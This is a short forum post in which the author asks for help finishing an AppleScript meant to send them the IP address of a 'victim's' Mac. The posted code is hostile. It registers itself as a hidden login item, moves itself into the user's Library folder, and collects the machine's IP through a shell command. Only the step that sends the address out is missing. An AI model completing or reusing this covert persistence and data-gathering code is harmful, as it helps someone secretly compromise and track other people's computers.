I want to make an AppleScript that sends me the IP of the victim's computer when run. So far I have this but I don't know how to go about the sending IP part:
-------------------------------------------------------------------------------------------
--------------------------------Putting inside Loggin Items-----------------------------
set myPath to POSIX path of (path to me)
tell application "System Events"
make new login item at end of login items with properties {name:"Launcher.app", path:myPath, hidden:true}
end tell
---------------------------------------------------------------------------------------
------------------------------------Moving Script------------------------------------
set source to POSIX path of (path to me)
set destination to POSIX path of (path to home folder) & "Library/"
if source = destination & "Launcher.app/" then
return "OK"
else
do shell script "mv " & quoted form of source & space & quoted form of destination
end if
---------------------------------------------------
set myIP to (do shell script "ifconfig | grep \"inet \" | grep -Fv 127.0.0.1 | awk '{print $2}'") -- Sets their IP as a variable.
Comments
No Comments Exist
Be the first, drop a comment!